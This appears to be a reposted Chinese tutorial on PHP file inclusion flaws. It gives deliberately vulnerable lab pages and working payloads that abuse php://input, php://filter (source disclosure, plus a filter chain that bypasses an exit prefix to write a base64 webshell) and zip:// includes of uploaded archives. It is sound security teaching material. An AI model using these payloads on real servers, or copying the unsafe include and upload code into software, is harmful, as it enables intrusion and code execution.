当前位置: 首页 > news >正文

文件包含漏洞(input、filter、zip)

一、PHP://INPUT

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){exit('hacker!');
}
if($file){if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中";include($file);
}else{echo '<a href="?file=http://www.baidu.com">click go baidu</a>';
}
?>

先访问这个页面

然后抓包进行上传并访问恶意代码,可以看到phpinfo()已经执行

二、PHP://FILTER

(1)基本使用

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){exit('hacker!');
}
if($file){include($file);
}else{echo '<a href="?file=flag.php">tips</a>';
}
?>

打开网页后看到

尝试payload:?file://filter/read=convert.base64-encode/resource=flag.php,得到一串base64字符,解码得flag在flag.php源码中的注释里:

解码拿到flag

拓展:

(2)巧用编码与解码

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。那么这种情况下,如何绕过这个“死亡exit”?

幸运的是,这里的$_POST['filename']是可以控制协议的,我们即可使用 php://filter协议来施展魔法:使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。

众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

最后看到phpinfo上传了,并且可以执行

(3)利用字符串操作方法

这个php的代码格式很像XML格式,可以看成是一个XML标签

既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

如果这样的话,那我们写的php一句话木马也会被消除,咋办?

还好,php://filter允许使用多个过滤器,先将webshell进行base64编码,完成XML过滤exit后,在进行解码

txt=PD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

成功!

三、ZIP://

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

  • zip://中只能传入绝对路径。

  • 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)

  • 只需要是zip的压缩包即可,后缀名可以任意更改。

//index.php
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if (!$file) echo '<a href="?file=upload">upload?</a>';
if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){echo "hick?";exit();
}else{include($file.".php");
}
?>
<!-- flag在当前目录的某个文件中 -->
//upload.php
<meta charset="utf-8">
<form action="upload.php" method="post" enctype="multipart/form-data" ><input type="file" name="fupload" /><input type="submit" value="upload!" />
</form>
you can upload jpg,png,zip....<br />
<?php
if( isset( $_FILES['fupload'] ) ) {$uploaded_name = $_FILES[ 'fupload' ][ 'name' ];         //文件名$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);   //文件后缀$uploaded_size = $_FILES[ 'fupload' ][ 'size' ];         //文件大小$uploaded_tmp  = $_FILES[ 'fupload' ][ 'tmp_name' ];     // 存储在服务器的文件的临时副本的名称$target_path = "uploads\\".md5(uniqid(rand())).".".$uploaded_ext;if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" || strtolower( $uploaded_ext ) == "zip" ) &&( $uploaded_size < 100000 ) ) {if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// Noecho '<pre>upload error</pre>';}else {// Yes!echo "<pre>".dirname(__FILE__)."\\{$target_path} succesfully uploaded!</pre>";}}else {echo '<pre>you can upload jpg,png,zip....</pre>';}
}?>

payload :

http://192.168.43.244/web4.php?file=zip://D:\phpstudy_pro\WWW\uploads\16a354cde3065e5d1faf0af136c2620e.zip%23web.zip

相关文章:

文件包含漏洞(input、filter、zip)

一、PHP://INPUT php://input可以访问请求的原始数据的只读流&#xff0c;将post请求的数据当作php代码执行。当传入的参数作为文件名打开时&#xff0c;可以将参数设为php://input,同时post想设置的文件内容&#xff0c;php执行时会将post内容当作文件内容。从而导致任意代码…...

使用iconv解决Linux/Ubuntu/Debian中gb2312中文文档乱码问题

你可以使用 iconv 命令行工具将文件中的文本从 GB2312 转换为 UTF-8。 你可以这样做&#xff1a; iconv -f GB2312 -t UTF-8 input.txt > output.txt将 input.txt 替换为以 GB2312 编码的输入文件的名称&#xff0c;将 output.txt 替换为你想要的 UTF-8 格式转换文件的名称。…...

图论中的最小生成树:Kruskal与Prim算法深入解析

&#x1f3ac;慕斯主页&#xff1a;修仙—别有洞天 ♈️今日夜电波&#xff1a;アンビバレント—Uru 0:24━━━━━━️&#x1f49f;──────── 4:02 &#x1f504; ◀️ ⏸ ▶️ ☰ …...

uniapp 之 实现商品详情的锚点跳转(类似京东商品详情-点击顶部按钮跳转的对应的页面的内容区域)

类似京东商品详情-点击顶部详情跳转到页面对应的详情区域&#xff0c;点击评价跳转到页面对应的评价区域等。 照例&#xff0c;先封装方法&#xff1a; 封装方法 util.js /*** 锚点跳转&#xff08;如&#xff1a;商品详情页面跳转&#xff09;* param {string} targetId 目…...

PPT好看配色

放几个链接&#xff01;画图时候可以参考&#xff01;转自知乎 Color Hunt ColorDrop 中国色 Flat UI Colors Coolors...

微信小程序执行环境(微信端)与浏览器环境有何不同

微信小程序执行环境与浏览器环境有很多不同之处&#xff0c;以下是一些例子&#xff1a; 全局对象&#xff1a; 浏览器环境中的 JavaScript 有一个全局对象 window&#xff0c;而微信小程序中的 JavaScript 没有 window 对象&#xff0c;取而代之的是 wx 对象&#xff0c;wx …...

Java小项目--满汉楼

Java小项目–满汉楼 项目需求 项目实现 1.实现对工具包的编写 先创建libs包完成对jar包的拷贝和添加入库 德鲁伊工具包 package com.wantian.mhl.utils;import com.alibaba.druid.pool.DruidDataSourceFactory;import javax.sql.DataSource; import java.io.FileInputStream…...

微信怎样群发更高效?

群发是指通过微信平台对特定受众进行大规模信息发布的过程&#xff0c;如节日祝福、活动促销等。随着科技的不断发展&#xff0c;群发的定义已不再仅限于手机信息群发或短信群发。如今&#xff0c;微信内置的群发功能也被广泛应用。 一、微信群发的操作步骤 1. 进入微信&…...

javaSwing愤怒的小鸟

一、简介 游戏名称是“愤怒的小鸟”&#xff0c;英文称为“AngryBird”。 “愤怒的小鸟”是著名游戏公司Rovio偶然间开发出来的益智游戏&#xff0c;从2009年12月上市到iOS。&#xff0c;讲述了鸟类和猪因为猪偷鸟蛋反生的一系列故事。游戏的类型版本是横向版本的水平视角&…...

10 开源鸿蒙中芯片与开发板对应的源码(硬件相关的部分)

开源鸿蒙中芯片与开发板对应的源码&#xff08;硬件相关的部分&#xff09; 作者将狼才鲸日期2024-03-20 开源鸿蒙通过芯片仓存放指定芯片和指定开发板的代码&#xff0c;硬件相关的代码和纯逻辑代码是分开存放的 源码模块的组织结构在manifest这个Git仓库&#xff0c;这也是拉…...

qt5-入门-标签页部件QTabWidget-1

参考&#xff1a; C GUI Programming with Qt 4, Second Edition 本地环境&#xff1a; win10专业版&#xff0c;64位&#xff0c;Qt5.12 目录 效果实现Qt Designer操作代码addStretch()解释 效果 首页有三个按钮和最近文件列表。 拖动窗口&#xff0c;按钮和文件列表仍然处…...

GOPS全球运维大会2024深圳站亮点抢先看!

2024年4月25-26日&#xff0c;博睿数据将受邀出席第二十二届 GOPS 全球运维大会深圳站。本次大会上&#xff0c;博睿数据AIOps首席专家兼产品总监贺安辉将亮相AIOps最佳实践及解决方案专场&#xff0c;分享《一体化智能可观测平台的两翼&#xff1a;数据模型AI算法》的主题演讲…...

给wordpress添加自定义字段的分类筛选功能

要为WordPress添加自定义字段的筛选功能&#xff0c;你需要使用WordPress的查询参数(query parameters)和WP_Query类来构建自定义查询。以下是一个详细的示例代码&#xff0c;展示了如何添加自定义字段的筛选功能。 首先&#xff0c;你需要在你的主题或插件的functions.php文件…...

Android 系统的启动过程

Android 系统的启动流程&#xff1a; RomBoot&#xff08;只读存储器引导程序&#xff09;&#xff1a;这是设备上电时运行的初始软件。RomBoot执行基本的硬件初始化&#xff0c;确保硬件处于可以运行后续启动阶段的状态。这一阶段非常重要&#xff0c;因为它为整个启动过程奠定…...

jenkins配置源码管理的git地址时,怎么使用不了 credential凭证信息

前提 Jenkins使用docker部署 问题 &#xff08;在jenlins中设置凭证的方式&#xff09;在Jenkins的任务重配置Git地址&#xff0c;并且设置了git凭证,但是验证不通过&#xff0c;报错; 无法连接仓库&#xff1a;Command "git ls-remote -h -- http://192.1XX.0.98:X02/…...

Emotion Prompt-LLM能够理解并能通过情感刺激得以增强

Large Language Models Understand and Can be Enhanced by Emotional Stimuli 情感智能对我们的日常行为和互动产生了显著的影响。尽管大型语言模型&#xff08;LLMs&#xff09;被视为向人工通用智能迈进的一大步&#xff0c;在许多任务中表现出色&#xff0c;但目前尚不清楚…...

流畅的 Python 第二版(GPT 重译)(十三)

第二十四章&#xff1a;类元编程 每个人都知道调试比一开始编写程序要困难两倍。所以如果你在编写时尽可能聪明&#xff0c;那么你将如何调试呢&#xff1f; Brian W. Kernighan 和 P. J. Plauger&#xff0c;《编程风格的要素》 类元编程是在运行时创建或自定义类的艺术。在 P…...

C/C++炸弹人游戏

参考书籍《啊哈&#xff0c;算法》&#xff0c;很有意思的一本算法书&#xff0c;小白也可以看懂&#xff0c;详细见书&#xff0c;这里只提供代码和运行结果。 这里用到的是枚举思想&#xff0c;还有更好地搜索做法。 如果大家有看不懂的地方或提出建议&#xff0c;欢迎评论区…...

③【Docker】Docker部署Nginx

个人简介&#xff1a;Java领域新星创作者&#xff1b;阿里云技术博主、星级博主、专家博主&#xff1b;正在Java学习的路上摸爬滚打&#xff0c;记录学习的过程~ 个人主页&#xff1a;.29.的博客 学习社区&#xff1a;进去逛一逛~ ③【Docker】Docker部署Nginx docker拉取nginx…...

Elasticsearch:使用 OpenAI、LangChain 和 Streamlit 的基于 LLM 的 PDF 摘要器和 Q/A 应用程序

嘿&#xff01; 您是否曾经感觉自己被淹没在信息的海洋中&#xff1f; 有这么多的书要读&#xff0c;而时间却这么少&#xff0c;很容易就会超负荷&#xff0c;对吧&#xff1f; 但猜猜怎么了&#xff1f; 你可以使用大型语言模型创建自定义聊天机器人&#xff0c;该模型可以帮…...

【ROS2 + MoveIT】从零上手系列:GUI界面下的机器人运动规划实战

1. ROS2与MoveIT初体验&#xff1a;打开机器人运动规划的大门 第一次接触ROS2和MoveIT的朋友们&#xff0c;恭喜你们打开了机器人开发的新世界&#xff01;作为一个在工业机械臂项目上摸爬滚打多年的老司机&#xff0c;我清楚地记得自己第一次看到Rviz里那个可以随意拖动的机械…...

STM32F4标准库 DMA FSMC驱动TFT-LCD:从CPU瓶颈到DMA高效刷屏实战

1. 为什么需要DMAFSMC方案优化TFT-LCD刷新 当你用STM32F4驱动TFT-LCD时&#xff0c;是否遇到过画面刷新卡顿、CPU占用率飙升的情况&#xff1f;这通常是因为传统的逐点描画方式&#xff08;比如LCD_DrawPoint函数&#xff09;需要CPU频繁介入每个像素的写入操作。我最初用9341驱…...

Joy-Con Toolkit终极指南:免费开源工具让你的Switch手柄焕然新生

Joy-Con Toolkit终极指南&#xff1a;免费开源工具让你的Switch手柄焕然新生 【免费下载链接】jc_toolkit Joy-Con Toolkit 项目地址: https://gitcode.com/gh_mirrors/jc/jc_toolkit Joy-Con Toolkit是一款完全免费的开源工具&#xff0c;专门为任天堂Switch手柄提供专…...

告别手动刷新:djSTOCK库存监控工具在Windows平台的实战配置与多通道告警集成

1. 为什么你需要djSTOCK库存监控工具 作为一个经常抢购热门数码产品的普通用户&#xff0c;我太理解那种每天手动刷新商品页面的痛苦了。特别是像大疆Osmo Pocket 3这样的爆款产品&#xff0c;经常刚补货就被抢光。传统的做法是每隔几分钟就手动刷新页面查看库存状态&#xff0…...

PX4无人机|MID360+FAST_LIO实战:从零搭建室内自主定位与悬停系统

1. 硬件准备与环境搭建 想要用PX4无人机搭配MID360激光雷达实现室内自主飞行&#xff0c;首先得把硬件凑齐。我用的是一台搭载微空科技MicoAir743V2飞控的450轴距无人机&#xff0c;机载电脑选用了12代i5处理器的迷你PC&#xff0c;跑的是Ubuntu 20.04系统。这里有个细节要注意…...

手把手教你解决Realsense D455在ROS下IMU数据不输出的问题(附固件降级指南)

深度解析Realsense D455在ROS中IMU数据丢失的排查与修复方案 最近在机器人开发社区中&#xff0c;不少工程师反馈在使用Intel Realsense D455深度相机时遇到了一个棘手问题——在ROS环境中无法获取IMU数据&#xff0c;而在realsense_viewer工具中却能正常显示。这个问题看似简单…...

Antv L7 + Mapbox 实现3D地图可视化:从基础配置到高级应用

1. 为什么选择Antv L7 Mapbox做3D地图 第一次接触3D地图可视化时&#xff0c;我试过不少方案&#xff0c;最后发现Antv L7和Mapbox的组合最顺手。这个组合最大的优势是既能享受Mapbox强大的底图服务&#xff0c;又能用L7实现各种炫酷的数据可视化效果。 L7是阿里AntV团队推出的…...

AIAgent图像生成正进入“零样本可控时代”?2026奇点大会披露3项未发表专利技术(含动态语义掩码引擎)

第一章&#xff1a;2026奇点智能技术大会&#xff1a;AIAgent图像生成 2026奇点智能技术大会(https://ml-summit.org) 核心架构演进 本届大会首次公开AIAgent图像生成系统的多模态协同推理架构——“Stellar-Canvas v3”&#xff0c;其突破性地将扩散模型、符号化布局规划器与…...

NDK开发实战:从C/C++到高性能Android应用的关键技术解析

1. 为什么需要NDK开发&#xff1f; 很多Android开发者刚开始接触NDK时都会有这样的疑问&#xff1a;Java和Kotlin已经这么强大了&#xff0c;为什么还要折腾C/C&#xff1f;这个问题我在2014年第一次接触NDK时也思考过很久。经过这些年的实战&#xff0c;我发现NDK在以下场景中…...

基于改进YOLO11算法的芯片微缺陷检测系统(UI界面+数据集+分析界面+处置建议+训练代码)

摘要&#xff1a;芯片制造过程中的微小缺陷&#xff08;5-7像素&#xff09;检测是质量控制的关键环节&#xff0c;但现有目标检测算法在处理此类微小目标时存在特征信息丢失、检测精度低和漏检率高等问题。针对上述问题&#xff0c;本文提出了一种基于YOLO11的改进检测方法YOL…...